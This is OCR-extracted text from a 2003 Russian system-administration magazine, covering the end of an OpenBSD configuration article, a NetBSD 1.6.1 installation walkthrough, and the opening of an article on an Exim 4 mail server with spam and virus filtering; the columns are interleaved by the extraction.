вание RPC portmapper, должен быть запущен для их рабо-
ты portmap (8). Эти сервисы включают в себя YP и NFS и
множество других сервисов. Для запуска RPC portmapper
автоматически вы должны прописать директиву:

portmap=YES

в файле /etc/rc.conf.local.

Настройка YP (Yellow Pages)


Рассказывать, что такое YP в деталях я не буду, это от-
дельная тема для статьи, вкратце же можно сказать, что
это подобие Windows Active Directory, где пользователи и
прочая информация хранятся на центральном сервере и
все машины в сети работают с ним. Первое, что надо сде-
лать, – это проверить имя домена YP. Это делается при
Адрес маршрута по умолчанию находится в файле /etc/ помощи команды domainname (1). В случае ошибки отре-
mygate (если файла нет – создайте его вручную, прописав дактируйте файл /etc/defaultdomain и перезапустите систе-
туда нужный IP-адрес). Добавить маршрут вручную помо- му. Осуществить смену defaultdomain без перезапуска си-
жет команда: стемы можно при помощи той же команды domainname (1).
Запустить клиентскую часть YP-сервисов можно просто
route add default xxx.xxx.xxx.xxx запустив ypbind и затем осуществив переход на YP-сервер,
как описано на страницах мануала passwd (5) и group (5).
Для детального анализа конфигурации сетевых интер- Чтобы включить поддержку YP, вы должны добавить линию:
фейсов смотрите файл /etc/netstart, именно в нем нахо-
дятся сценарии запуска сетевой подсистемы. +:*::::::::

30
администрирование
в файл /etc/master.passwd, и это может быть корректно Конечно, очень многое из арсенала OpenBSD нам может и
выполнено при помощи команды vipw (8). В дальнейшем не пригодиться (например, авторизация по Kerberos), но
любые исправления файла /etc/master.passwd осуществ- все же стоит знать, что большинство файлов конфигура-
ляйте только при помощи команды vipw (8), т.к. авториза- ции располагаются в директории /etc. Смело пишем cd /etc
ция в системе опирается сразу на 4 файла. Это /etc/passwd, и редактируем файлы, нужные нам.
/etc/master.passwd, /etc/pwd.db, /etc/spwd.db и vipw (8) ра- Небольшая оговорка. Файл /etc/motd, содержащий
ботает с ними всеми сразу. Всю дополнительную инфор- Message Of The Day, перезаписывается каждый раз при
мацию относительно работы с YP вы можете найти на стра- перезапуске системы, а если вы хотите, чтобы ваше со-
нице мануала yp (8). общение оставалось, как, например, у меня:
Проверьте правильность монтирования дисков систе-
мы, сравнивая содержание файла /etc/fstab и выводы ко-
манд mount (8) и df (1). Например:

Вы должны просто добавить 2 пустые строчки в нача-


ло файла /etc/motd и система не будет трогать его. Мне с
моими пользователями как раз стоит держать файл /etc/
motd без изменений.:

pheonix@princess pheonix$ wc -l /etc/passwd


5006 /etc/passwd

Добавление пользователей
Я немного отвлекся, идем дальше. В OpenBSD имеются
команды user, useradd, userdel, userinfo, usermod, users для
работы с пользователями системы. Нас интересует коман-
да useradd, но разработчики решили не грузить админист-
раторов бесполезным заучиванием опций этой команды и
создали замечательный скрипт /usr/sbin/adduser, который
в интерактивном режиме задаст вам вопросы относитель-
но новых пользователей и добавит их без проблем. Типич-
ная сессия добавления пользователя:

Отредактируйте файл /etc/fstab и используйте коман-


ды mount (8) umount (8) в дальнейшем для работы с дис-
ками. Формат файла /etc/fstab вы можете опять же узнать
из страницы мануала fstab (5).

Concatenated disks (ccd)


Если вы используете Concatenated disks, отредактируйте
файл /etc/ccd.conf и используйте команды:

ccdconfig –U
ccdconfig –C

для удаления и создания ccd общих таблиц файлов. За-


тем вы можете пользоваться mount (8) и umount (8) для
работы с ccd-дисками как с обычными и отредактировать
файл /etc/fstab в случае надобности.
Ну вот, на данном этапе система уже будет сносно ра-
ботать, однако это совсем не дело – оставлять ее в таком
все еще сыром виде. Нам нужна большая гибкость и более
тонкая настройка, например, новые пользователи и т. д.

№8(9), август 2003 31


администрирование
Что примечательно и сразу бросается в глаза? Конечно Дневные, недельные
же проверка файлов авторизации системы. Скрипт ругает- и месячные скрипты
ся на то, что мой пользователь postfix имеет GID (Group Если смотреть в директорию /etc, можно увидеть там скрип-
Identificator), которого нет в системе, однако это требование ты daily, weekly, monthly. Вы можете напрямую редактиро-
почтовой системы Postfix, поэтому не обращаем на это вни- вать эти скрипты, как я, или же делать «правильно», со-
мание. Что еще? Конечно, Login class. OpenBSD поддержи- здав файлы daily.local, weekly.local, monthly.local и внеся в
вает классы пользователей, на которые будут накладывать- них нужные вам исправления. Наверное, уже сложно не
ся те или иные ограничения. Какие именно ограничения есть догадаться, что эти скрипты будут выполняться демоном
в системе, вы можете узнать, используя команду «ulimit –a». cron один раз в день, неделю, месяц. Скрипты генерируют
Например, лимиты для суперпользователя выглядят так: очень полезный отчет о системе. Вот, например, такой:

Все классы определяются в файле /etc/login.conf и про-


читав страницу мануала login.conf (5), вы без труда со- -
здадите или внесете исправления в нужный вам класс.

RC-файлы
Еще раз о них. Проверьте файлы rc.conf, rc.conf.local,
rc.local, rc.securelevel, rc.shutdown и внесите в них все из-
менения, которые вам нужны. Обычно это 5-минутное дело,
однако очень многие вещи завязаны на этих файлах.

Подтяните безопасность
Вы можете еще более обезопасить систему, отредакти-
ровав файл /etc/inetd.conf и выключив в нем такие служ-
бы/демоны, как telnetd (8) и ftpd (8), которые легко заме-
няются более безопасной службой SSH (Secure Shell).

Почтовая система
OpenBSD включает в себя Sendmail MTA, которая настрое-
на только на локальную доставку почты. Это значит, что
посылать письма локальным пользователям вы можете, а
вот принимать почту из сети – нет. Если вы хотите исполь-
зовать Sendmail MTA в дальнейшем, то вам надо отредак-
тировать файл /etc/mail/sendmail.cf и sendmail_flags в файле
/etc/rc.conf.local. Файл /etc/mail/localhost.cf, сгенерированный
из openbsd-localhost.mc как раз и служит только для «ло-
кальной MTA» и используется по умолчанию. Я использую
Postfix MTA на моих боксах, но объяснять почему в этой ста-
тье я не буду. Слишком много разных мнений на эту тему. Я
лишь могу рекомендовать вам, если вы еще не определи-
лись с выбором MTA, использовать Postfix. OpenBSD очень
хорошо с ним дружит.

DHCP-сервер
В случае надобности этого сервиса в вашей сети, я ду-
маю, вы уже догадываетесь, что надо сделать. И высылают его пользователю root на почту. Просмот-
Редактируем файл /etc/rc.conf.local: рев скрипты, вы без проблем разберетесь, как и где они
собирают данную информацию. Отдельная тема для ста-
dhcpd_flags=-q
тьи пакет mtree в OpenBSD. Именно он генерирует отчет
затем файлs /etc/dhcpd.conf и /etc/dhcpd.interfaces и за- о пропущенных и измененных файлах в системе.
пускаем демон dhcpd (8).

32
администрирование
И высылают его пользователю root на почту. Просмот- тья перед вами. Осталось только ввести имя пользовате-
рев скрипты, вы без проблем разберетесь, как и где они ля, пароль и погрузиться в темный, дремучий лес OpenBSD
собирают данную информацию. Отдельная тема для ста- с фонариком в виде журнала «Системный администра-
тьи пакет mtree в OpenBSD. Именно он генерирует отчет тор». В следующей статье я расскажу подробнее о сете-
о пропущенных и измененных файлах в системе. вой подсистеме OpenBSD и о ее тюнинге.
Вот список страниц мануала, которые я рекомендую
Заранее скомпилированное программное вам для прочтения к данной статье:
обеспечение (Packages, упаковки)  chgrp (1)  adduser (8)
Любителям лениво сидеть перед монитором посвящает-  chmod (1)  amd (8)
ся. OpenBSD имеет огромный набор packages на любой  crontab (1)  bootpd (8)
вкус, начиная от системных утилит и демонов, заканчи-  date (1)  ccdconfig (8)
вая пакетами для графической среды X Windows. На вто-  df (1)  chown (8)
ром (обычно) диске дистрибутива как раз и идут файлы в  domainname (1)  config (8)
формате tar.gz, содержащие скомпилированное и порой  hostname (1)  dhclient (8)
уже отконфигурированное ПО. Достаточно лишь исполь-  ls (1)  dhcp (8)
зовать команду pkg_add (1) и пакет уже установлен в ва-  make (1)  dhcpd (8)
шей системе. В системе FreeBSD имеются PORTS, про-  man (1)  dmesg (8)
славившие ее, чем мы хуже? У нас тоже они есть, и еще  netstat (1)  ftpd (8)
сколько! Ставим дистрибутив портов с первого диска или  passwd (1)  ifconfig (8)
же выкачиваем его из сети, используя ftp://ftp.openbsd.org,  pkg_add (1)  inetd (8)
разворачиваем в папке /usr и вуаля! У нас стоят порты.  ssh (1)  kbd (8)
Дальнейшую работу с портами в этой статье описывать  su (1)  lpd (8)
не буду, скажу лишь только:  xdm (1)  mount (8)
 ccd (4)  mtree (8)
cd /usr/ports/packagename;
make install
 aliases (5)  named (8)
 bootptab (5)  netstart (8)
и в большинстве случаев все. Вы обладатель установлен-  crontab (5)  newaliases (8)
ного ПО. Вам стоит прочитать страницы ports (7) packages  exports (5)  portmap (8)
(7) из мануала, и мне не придется краснеть за то, что я  fstab (5)  rbootd (8)
оставил вас в неведении относительно быстрой установ-  group (5)  rc (8)
ки ПО в OpenBSD. Опять же, обратившись к ftp://  hostname.if (5)  rmt (8)
ftp.openbsd.org, вы найдете много интересных вещей. Не  login.conf (5)  route (8)
забывайте, это лишь первые шаги, и мы делаем все, что-  passwd (5)  sudo (8)
бы система «точно работала», но не всегда «лучше рабо-  printcap (5)  telnetd (8)
тала». «Who wanna have, must work»,– как говорят неко-  resolv.conf (5)  umount (8)
торые, так вот и мы с вами будем потихоньку доводить  ssh_config (5)  vipw (8)
нашу работу с системой до совершенства.  hostname (7)  yp (8)
Опять получилось лирическое отступление, доиграла  packages (7)  ypbind (8)
«Enigma – Sadeness», допита четвертая чашка кофе, ста-  ports (7)

№8(9), август 2003 33


администрирование

NetBSD:
УСТАНОВКА И НАСТРОЙКА

Сегодня мы поговорим о NetBSD, которая является одной из разновидностей BSD-систем.


Несмотря на то что она широко распространена среди англоязычных пользователей, в России
о ней почти никто не знает. Эта статья призвана исправить сей досадный недостаток.

АНДРЕЙ БЕШКОВ
34
администрирование
Первая версия NetBSD, появившаяся в 1993 году, называ- манием. Примером миниатюризации может служить сле-
лась NetBSD 0.8. Основывалась она на исходном коде сис- дующая фотография, на которой запечатлен карманный
темы 4.3BSD Lite, разработанной университетом Berkeley, компьютер HP Jordana 720:
и системе 386BSD, которая стала первым вариантом BSD
Unix, способным работать на процессорах Intel 386. В тече-
ние последующих лет система NetBSD впитывала самые
лучшие идеи из всех веток BSD-систем. Многие из этих
идей постепенно трансформировались и улучшались эн-
тузиастами, работающими над развитием NetBSD. Список
приобретенных возможностей довольно длинный, поэто-
му перечислим лишь малую часть из них:
 Управление заданиями
 Быстрая файловая система Berkeley
 Надежный механизм сигналов
 Концепция виртуальной памяти
 Работа с TCP/IP
 Командная оболочка C

Впоследствии многое из того, что было опробовано


или создано на основе BSD, и NetBSD в частности, стало Если внимательно присмотреться к картинке, можно за-
стандартом для всех Unix-систем. Несмотря на свой ма- метить отлично работающий оконный менеджер BlackBox
лый размер, NetBSD является полноценной Unix-системой. и игру XDoom, в которой увлеченно сражается с монстра-
Важнейшими приоритетами в процессе разработки ста- ми владелец этого миниатюрного аппарата. Практически
ли хорошо продуманный, но в то же время простой ди- все приложения, запускаемые на обычных компьютерах,
зайн, отличное качество кода и приверженность стандар- работающих под управлением BSD-систем, будут работать
там. Система в первую очередь задумывалась как среда и на этой машине.
для обучения студентов основам проектирования Unix- Можно посмотреть галерею снимков рабочих столов
систем и полигон для проверки новых идей. Это позволи- пользователей NetBSD по этому адресу: http://www.netbsd.org/
ло легко портировать систему на огромное количество gallery/in-Action/. Я думаю, вас удивит KDE, GNOME и мно-
разнообразнейшего оборудования. Лозунгом системы жество других отлично работающих на этой платформе про-
стала фраза «если внутри этой штуки есть процессор, грамм. Благодаря бинарной совместимости с Linux (Linux
значит, мы будем на нем работать». На данный момент Binary Compatibility), присущей всем BSD- системам, есть воз-
NetBSD отлично чувствует себя более чем на 20 разных можность запросто запустить и успешно использовать бо-
платформах. Давайте кратко пробежимся по их списку: лее 90%программ, скомпилированных для Linux.
 Sun SPARC Приятно осознавать, что в компьютере размером чуть
 Sun 3 больше пивной алюминиевой баночки живет свой собствен-
 Sun 3X ный BSD Unix. Судя по всему, создатели NetBSD крепко
 Digital Alpha (64 бита) усвоили истину, не дающую покоя многим мужчинам –
 Commodore Amiga, MacroSystem DraCo размер имеющегося в распоряжении железа значения не
 Все клоны IBM PC на процессорах I386 имеет. Главное – уметь им пользоваться как следует. Тут
 Acorn RiscPC/A7000, CATS, EBSA-285, Digital Shark, искушенный в Unix читатель должен нахмуриться и выс-
VLSI RC7500 казать мнение, что, дескать, есть системы и поменьше. На-
 ATARI TT030, Falcon, Hades пример, безвременно почивший LRP (Linux Router Project)
 Hewlett-Packard 9000/300 или PicoBSD, помещающиеся на одной дискете. А я триум-
 Hewlett-Packard 9000/400 фально отвечу, что не стоит путать полноценный и бога-
 Apple Power Macintosh тый возможностями Unix с урезанными системами, глав-
 Apple Macintosh ным смыслом возникновения которых была необходимость
 Motorola MVME 86k SBCs создавать нетребовательные к железу платформы для меж-
 NeXT 68k DECstations и DECsystem, созданные на ос- сетевых экранов и маршрутизаторов.
нове Digital MIPS Для того, кто решил работать с NetBSD, на первый
 PC 532 взгляд количество аппаратных платформ, на которые пор-
 Digital VAX тирована система, не имеет особого значения. Но если
 Sharp X680x0 посмотреть с другой стороны на тот же вопрос, оказыва-
ется, что между переносом на другое оборудование и ка-
Среди аппаратного обеспечения, на котором успешно чеством исходного кода есть очень тесная связь. Без от-
выполняет свои задачи NetBSD, есть как большие 64-бит- лично спроектированного, простого для понимания и хо-
ные системы вроде Digital Alpha, так и домашние машины рошо организованного кода поддерживать такое количе-
вроде Atari или клоны IBM PC. В то же время не только ство разношерстного оборудования и разных его комби-
Macintosh, но и карманные компьютеры не обойдены вни- наций абсолютно невозможно.

№8(9), август 2003 35


администрирование
Многие системы в процессе разработки руководству- малый объем. В этой же директории находятся еще 8 дис-
ются принципом «если код работает, значит, он написан ков с пакетами дополнительного программного обеспече-
правильно». NetBSD в отличие от них считает, что такой ния. Они нам пока не нужны, поэтому скачивать их не ста-
ход мыслей неверен. Вместо этого пропагандируется сле- нем. В качестве бонуса можно взять файл i386pkg-cover.pdf,
дующий подход к созданию систем: код не считается ра- содержащий внутри себя картинки обложек для CD-ROM.
ботающим до тех пор, пока не будет полностью проверен По окончании скачивания тем или иным способом за-
на правильность. Кажется странным, что большинство писываем образ на CD-ROM. Я использовал для этого ста-
людей не видят или не хотят понимать этих отличий. ренькую машину с Linux и программу cdrecord. Впрочем,
Опираясь на университетские традиции, сообщество, для Windows-программ, выполняющих данную функцию,
работающее над развитием NetBSD, позиционирует свой тоже вполне достаточно.
проект как свободную систему для профессионалов и эн- В BIOS выставили загрузку с CD-ROM, вставили диск
тузиастов, которую все желающие могут использовать для и перезагрузили компьютер. Как и во всех остальных BSD-
любых целей. Каждому предоставляется свободный дос- системах, вначале видим стандартное меню с таймером.
туп к исходным кодам и бинарным пакетам системы. А Нажимаем клавишу «Enter» или ждем, пока сработает тай-
значит, внесение модификаций и дальнейшее распрост- мер, и загрузка продолжится сама по себе.
ранение системы всячески приветствуется.
На мой взгляд, все вышеперечисленные характеристи-
ки NetBSD делают ее идеальной системой не только для
изучения Unix, но и для многих других начинаний. Одним
из приятных моментов в общении с этой системой являет-
ся то, что для начала работы не нужно покупать дорогосто- В зависимости от скорости процессора на экране в
ящего оборудования, а можно использовать старые PC, Mac разном темпе начинает появляться информация, выводи-
и прочие компьютеры. Это большой плюс для развития ма- мая модулем диагностики и обнаружения оборудования.
лобюджетных исследовательских проектов. Ну а если вам Иногда процесс вывода замирает на 20-40 секунд. Как
нужен Unix, работающий одинаково стабильно на множе- только мы добрались до этапа, изображенного на следу-
стве платформ, то вполне возможно, что NetBSD – ваш ющем снимке, нужно немного подождать. Система заду-
единственный выбор. мывается примерно на минуту и, казалось бы, зависает.
Обсудив все плюсы NetBSD, перейдем от теории к
практике. Ну а чтобы у вас не сложилось впечатления о
предвзятом и однобоком освещении системы, я в процес-
се установки обязательно буду говорить о замеченных не-
достатках.
Начать инсталляцию можно со следующих носителей: Но не стоит беспокоиться и пробовать вмешиваться в
 ftp процесс начальной загрузки. Через минуту-другую все
 гибкий диск снова зашевелится. Программа-загрузчик была занята со-
 CD-ROM зданием файловой системы в оперативной памяти. И вот
 nfs на экране появилось заглавное меню программы sysinst.
 локальная директория На протяжении всего процесса инсталляции мы будем ра-
ботать именно с ней.
Так как статья не задумывалась в качестве исчерпываю-
щего руководства по установке NetBSD, я выбрал CD-ROM
как наиболее простой путь инсталляции. Не будем ослож-
нять себе жизнь возней с загрузочной дискетой, настрой-
кой nfs и прочими изысками. Для того чтобы создать заг-
рузочный CD-ROM, нам нужно скачать iso – образ диска с
любого из зеркальных серверов NetBSD. На момент на-
писания статьи для скачивания была доступна версия
NetBSD 1.6.1. Именно ее мы и будем использовать. Идем
по адресу: http://www.netbsd.org/mirrors/#iso и выбираем
ближайший к нам сервер дистрибутивов. Лично я исполь- Пользуясь появившимся меню, можно выполнить сле-
зовал работающий подозрительно быстро Эстонский сер- дующие действия:
вер ftp://ftp.ee.netbsd.org. Для моего PC предназначается  начать инсталляцию;
дистрибутив, в названии которого содержится имя исполь-  обновить уже установленную систему NetBSD;
зуемого нами процессора i386. Ну а вы, соответственно,  инсталлировать заново имеющееся в системе или до-
должны выбирать дистрибутив для своего процессора. Пе- бавить новое программное обеспечение;
реходим в директорию /pub/NetBSD/iso/1.6.1/ и качаем от-  перезагрузить машину.
туда файл с образом загрузочного диска i386cd.iso разме-
ром в 125 мегабайт. Интересно, как разработчики систе- Если с первыми тремя пунктами все более или менее
мы смогли упаковать полнофункциональный Unix в такой ясно, то необходимость четвертого пункта, позволяюще-

36
администрирование
го перегрузить машину, для меня лично довольно сомни-
тельна. Почему это нельзя сделать с помощью кнопки
«Reset» или, на крайний случай, «Power», мне было непо-
нятно. Впоследствии после консультаций со знающими
людьми было выяснено, для чего именно эта опция необ-
ходима. Оказалось, что нужна она для того, чтобы раз-
монтировать разделы, используемые во время обновле-
ния пакетов с программным обеспечением и добиться
корректного завершения установки.

Точно такого же результата можно достичь, если отка-


заться от DHCP и отвечать на все задаваемые вопросы са-
мостоятельно. DHCP-сервер на основе FreeBSD, работаю-
Например, запуск оболочки командного интерпрета- щий по 192.168.10.2, выделил мне адрес 192.168.10.128. От-
тора /bin/sh. На следующем рисунке мы можем видеть ветив «Yes» на вопрос о том, верно ли проведено конфигу-
результат выполнения команд pwd и ls. Нам предоставле- рирование сетевой карты, я решил проверить, насколько пра-
на самая обычная оболочка, с помощью которой можно вильно она будет после этого работать. Пользуясь меню, о
поработать внутри запущенной сейчас системы и подпра- котором мы говорили ранее, запустил оболочку /bin/sh. За-
вить все, что нужно, если вдруг что-то пойдет не так. Выйти тем с помощью команды ping попытался посмотреть, досту-
из оболочки можно, как обычно, нажав Ctrl+D. пен ли наш DHCP-сервер. Также по совместительству он
является DNS-сервером и шлюзом по умолчанию.

Дальше идет интерфейс для установки временной


зоны. Меню это настолько лаконично, что и писать-то о Как видите, сервер оказался доступен. Окрыленный
нем особенно нечего. Кстати, воспользоваться им для таким успехом, я решил проверить другие протоколы и
изменения данных так и не удалось. Странно, но нажатие для этого воспользовался ftp-сервисом, работающим на
каких угодно клавиш не давало никаких результатов. том же сервере. Авторизовавшись, скачал из домашней
Следом за ним появляется меню настройки сетевых директории пользователя tigrisha файл .cshrc. Убедился,
интерфейсов, отображающее две сетевые карты, установ- что файл появился в локальной файловой системе.
ленные на моей машине.

К примеру, можно выбрать первый адаптер pcn0. За-


тем следует определение типа сетевой среды. Обычно
рекомендуется устанавливать autoselect.

Следующий вопрос позволяет указать, используем ли


мы DHCP для получения сетевых параметров.

Вы можете спросить меня, зачем производились все эти


Если согласиться, то адрес TCP/IP для этого интерфей- странные манипуляции. А я отвечу: просто для эксперимен-
са будет получен автоматически при условии наличия в та. Из чистейшего любопытства и желания проверить, на-
сети DHCP-сервера. Вводим данные о домене и имени сколько гибко работает мини-система, управляющая инстал-
хоста. Я использовал в качестве имен строки «netbsd» и ляцией. Кстати, все настройки, которые мы сейчас опреде-
«unreal.net» соответственно. Так как вокруг меня нет се- лили, можно по окончании инсталляции сохранить как ис-
тей, работающих с протоколом IPv6, я отказался от его ис- пользуемые системой по умолчанию. А это значит, что нам
пользования. И в результате получил вот такую картинку: не придется вносить их руками в конфигурационные файлы

№8(9), август 2003 37


администрирование
после первой перезагрузки системы. Учитывая тот факт, что ством. Инсталляция всех пакетов плюс система X Windows
система вместе с ядром и прочими программами, с которы- займет 290 мегабайт, а без него 200 мегабайт. Следующий
ми мы работали, находится в оперативной памяти, а на же- вопрос, заданный системой, уточняет тип разбиения диска
стком диске еще нет никаких данных, стоит признать ее впе- на файловые системы.
чатляющие возможности. Я предвижу, что в этом месте мно-
гие читатели поморщатся и выскажут свое скептическое
мнение. Дескать, экая невидаль ping и ftp у них работает. А я
им в ответ заявлю, что для сравнения пусть попробуют сде-
лать что-либо подобное во время установки Windows или
Linux. Итак, наигравшись и выяснив потенциальные возмож-
ности системы, возвращаемся в самое первое меню и при-
ступаем к созданию разделов на жестком диске. Для этого
выбираем пункт «Install NetBSD to hard disk».

 Standart – вопрос о размерах и размещении необходимых


файловых систем программа инсталляции решает сама.
 Standart X – размеры и размещение файловых систем
совпадают со стандартным размещением, за исключе-
нием того, что раздел swap увеличивается в два раза.
Также стоит обратить внимание на тот факт, что систе-
ма резервирует место для бинарных файлов X-сервера.
Следующая подсказка повествует о том, что для про- Таким образом, мы получим графический интерфейс на
должения инсталляции нам необходимо создать разделы основе XFree.
на жестком диске. Затем внутри этих разделов разместить  Custom – ручное разбиение файловых систем и опре-
файловые системы нашей операционной системы. И уж деление точек монтирования.
только после этого установить нужные наборы программ-  Use existing – использовать уже имеющиеся файло-
ного обеспечения, называемые почему-то «distribution sets». вые системы. Нужно будет всего лишь указать точки
Согласившись с предлагаемым планом, выбираем целе- монтирования для них.
вой жесткий диск. В моей системе он назывался wd0. По-
следствия выбора не заставляют себя долго ждать. Я выбрал Standart X и получил следующую картину
распределения файловых систем по жесткому диску:

Тут нам разрешают использовать данные о геометрии


жесткого диска, собранные мастером оборудования, или
задать свои. Я использовал данные, определенные мас- Поверив, что все на первый взгляд выглядит нормально,
тером. После этого наступает черед очень опасного вы- решил не пользоваться опцией «Change partitions», вызыва-
бора. Нужно решить, использовать все пространство, до- ющей местный аналог программы fdisk, и выбрал взамен
ступное на этом диске, или только часть из него. Выби- пункт меню «Partitions are ok». На следующем экране систе-
рать использование части стоит в том случае, если на ма интересовалась, не хочу ли я дать имя жесткому диску
диске есть разделы других операционных систем или вы вместо используемого по умолчанию «mydisk». Я решил, что
желаете их создать в дальнейшем. При использовании хочу и назвал его «system». Впрочем, вы можете поступить,
всего пространства данные, ранее находившиеся на этом как вам заблагорассудится, потому что название некритич-
диске, будут уничтожены. но. Затем последовало предупреждение о том, что измене-
ния на жесткий диск пока не записаны и у нас есть после-
дний шанс все отменить. Недрогнувшей рукой выбираем
пункт меню, разрешающий продолжать инсталляцию. Не-
которое время на экране будут мелькать надписи, извеща-
ющие нас о процессах создания и о ходе разметки новых
У меня ничего ценного на этом диске отродясь не води- файловых систем. Нарисовав следующее меню, система
лось, поэтому было решено полностью использовать дос- пытается узнать, что мы хотим использовать в качестве си-
тупное пространство, которое было равно 1023,97 мегабайт. стемной консоли. Выбрать можно один из двух вариантов:
Следует отметить, что NetBSD для исправного функциони-  Normal bootblock – системной консолью служит мони-
рования довольствуется гораздо более скромным простран- тор, подключенный к машине.

38
администрирование
 Serial bootblock – присоединяем системную консоль к постоянством прерывалась сообщениями о фатальной
первому последовательному порту. ошибке в пакете X11-fonts. Хорошо, что установка длится
всего 5 минут. На третьей неудачной попытке были отклю-
Я выбрал Normal bootblock, в ответ система немножко чены все пакеты, связанные с X Windows. И только после это-
пожужжала диском и радостно сообщила о том, что пер- го инсталляция удалась. Либо при скачивании из сети образ
вый этап инсталляции завершен и теперь мне необходи- диска был поврежден, либо у меня плохо работает CD-ROM.
мо выбрать наборы программного обеспечения, которые В голове крутятся мысли о том, что, конечно, хотелось
будут установлены далее. Как обычно, дают выбрать из посмотреть, насколько хорошо работает оконная система,
двух наборов – Full и Custom. Повинуясь своему неуемно- но все же это некритично. Посмотрев на настенные часы,
му любопытству, решил использовать нестандартный на- понимаю, что 3 часа ночи – не самое лучшее время для того,
бор пакетов. На следующем экране слева виден список чтобы разбираться с неполадками. Ложусь спать с твердым
выбранных пакетов, а справа – меню со списком доступ- намерением завтра обязательно победить эту досадную
ных для установки пакетов. Установить или снять помет- ошибку. На следующий день подопытная машина почувство-
ку о выборе можно с помощью клавиши «Enter». вала на своей шкуре все прелести профилактики и техобс-
луживания. После этого была начата новая инсталляция
NetBSD с полным набором пакетов X Window, завершивша-
яся успешно. Судя по всему этот старый CD-ROM нужно
чистить гораздо чаще.
Как только нужные пакеты установились на жесткий
диск, система покажет меню с вопросом, корректно ли у
нас настроена сетевая подсистема и можно ли записать
настройки, использовавшиеся в этом сеансе как настрой-
ки по умолчанию. С радостью соглашаемся и жмем «Yes»:
все-таки редактировать системные файлы с помощью vi –
удовольствие не из самых приятных. После этого наступа-
ет черед установить часовой пояс, в котором находится эта
машина. Для меня это зона EUROPE/Moscow. Выбираем
После того как разберемся с выбором пакетов, систе- ее с помощью клавиши «Enter» и выходим из меню, нажав
ма задаст вопрос о носителе, с которого будет произво- одну за другой клавиши «x» и «Enter». Далее выбираем
диться инсталляция. схему шифрования паролей. Доступны шифры DES и MD5.
В большинстве Unix-подобных систем стандартом де фак-
то является DES. Решено было использовать именно его.
Система спросит, не хотим ли мы проинициализировать
пароль пользователя root. Изъявляем желание и устанавли-
ваем в качестве пароля что-то очень длинное и сложно-за-
поминаемое.
Читаем поздравления, говорящие об удачном заверше-
нии установки, а когда надоест, нажимаем «OK» и снова
Я выбирал CD-ROM, ну а вы можете использовать все, попадаем в самое первое меню инсталляции. Теперь нужно
что душе угодно. В следующем меню определяем, явля- перегрузить машину, наконец-то нам пригодилась загадоч-
ется у нас CD-ROM устройством или директорией. Такой ная опция «Reboot machine».
подход удобен, если CD-ROM примонтирован в нестан- Следующим сюрпризом для нас будет тот факт, что те-
дартное место. перь во время загрузки для отображения сообщений на си-
стемную консоль используется шрифт ярко-зеленого цвета.
Под конец процедуры загрузки демонов шрифт снова ста-
нет белым. Не Unix, а какой то калейдоскоп. Войдя в систе-
му под пользователем root, смотрим состояние сетевых ин-
терфейсов с помощью команды ifconfig –a. Настройки, оп-
Выбрав пункт device, соглашаемся с предлагаемым сис- ределенные в процессе инсталляции, сохранились. Затем
темой вариантом: считать нужный нам CD-ROM устройством настраиваем X Windows с помощью программ xf86config или
cd0. Несмотря на то что в вашей системе маркировка может XF86SETUP. Процесс этот ничем от остальных Unix-систем
отличаться, я думаю, догадаться, что есть что, особого тру- не отличается, поэтому писать о нем не станем. Стоит отме-
да не составит. Указав, где у нас находится CD-ROM, ис- тить, что X Windows запустились сразу же без каких-либо
пользуем пункт меню «Continue» и приказываем продолжать ошибок. А вот с русской локализацией консоли разобраться
установку. Минут 5 любуемся на бегущие по экрану списки так и не удалось. На этом, наверное, стоит завершить нашу
устанавливаемых пакетов. К сожалению, с таким составом совместную экскурсию по системе и пожелать вам успехов
пакетов с первого раза удачно завершить инсталляцию мне в освоении этого варианта Unix. Если отклик на эту статью
не удалось. Начались шаманские танцы с бубном, но, не- будет достаточно сильным, то, наверное, я буду продолжать
смотря на все старания, процедура установки с завидным писать об освоении NetBSD.

№8(9), август 2003 39


администрирование

ЭФФЕКТИВНАЯ ПОЧТОВАЯ
СИСТЕМА НА БАЗЕ

Статья рассматривает создание почтовой системы с использованием Exim MTA версии 4, Exiscan,
SpamAssassin, Dr.Web; системы, защищенной от спама и вирусов, рассчитанную на большое
количество пользователей (сотни пользователей), а также имеющую удобную конфигурацию
в одном файле. В нашем примере в качестве ОС выбрана FreeBSD 4, но не будет никакой разницы
в установке для любой другой ОС семейства UNIX.

ДЕНИС МЫСЕНКО

Почему Exim?
Exim MTA (message transfer agent) является широкофунк- Среди разделов конфигурации:
циональной и высоко-защищенной почтовой системой.  Основной (main), где находятся общие настройки типа име-
Несмотря на монолитность программного кода (все бло- ни сервера, баннера, списка обслуживаемых доменов.
ки находятся в одном процессе), за всю ее историю не  Раздел безопасности (ACL), где находятся правила, на
было обнаружено ни одной серьезной уязвимости, допус- которые проверяется проходящяя через сервер почта.
кающей несанкционированный доступ к серверу, на ко- К примеру, реальность домена отправителя, существо-
тором она работает. Программа распространяется по ли- вание пользователя на другом конце (callout).
цензии GNU, автор – доктор Philip Hazel, The University of  Раздел маршрутизации (routers), где находятся прави-
Cambridge. Официальный сайт Exim – http://www.exim.org. ла выбора маршрута почты, подсказывающие серве-
Последней версией на текущий момент является 4.20, но ру, как найти приемщика корреспонденции. К приме-
мы рассмотрим пример на 4.12, как проверенный авто- ру, доменный принцип (смотреть в DNS), алиасы (смот-
ром статьи. реть в файле алиасов), форварды (смотреть у пользо-
Exim умеет брать пользователей из любого источника – вателя в домашней папке в файле .forward), статичес-
MySQL, OpenLDAP, UNIX и т. д. Вся конфигурация нахо- кое правило (доставлять на указанный сервер).
дится в одном файле и разбита на практически автоном-  Раздел доставки (transport), где находится описание
ные секции, что дает особые удобства и возможности при правил доставки. К примеру, доставка по SMTP, дос-
работе с ней. тавка в файл.

40
администрирование
 Раздел переписывания (rewrite), где находятся прави- Пути:
ла изменения заголовков писем. К примеру, вы може-  BIN_DIRECTORY=/usr/exim/bin – путь к программам Exim;
те перенаправить всю почту одного домена на свой  CONFIGURE_FILE=/usr/exim/configure – путь к файлу
ящик, переписав поле RCPT. конфигурации.

Плюс разделы задания правил попыток пересылки (retry) Маршрутизаторы почты:


и аутентификации. Благодаря существованию Exiscan,  ROUTER_ACCEPT=yes – доставка почты в локальный
Exim нам поможет проверять проходящую через него по- ящик;
чту на наличие вирусов, спама и других «почтовых де-  ROUTER_DNSLOOKUP=yes – доставка почты, исполь-
фектов» еще на этапе SMTP-сессии – это будет происхо- зуя DNS (по записям MX);
дить по завершению команды DATA, в момент, когда уда-  ROUTER_IPLITERAL=yes – доставка почты на IP-ад-
ленный почтовый сервер ждет реакции от Exim. При об- реса (к примеру, postmaster@[10.1.1.1]);
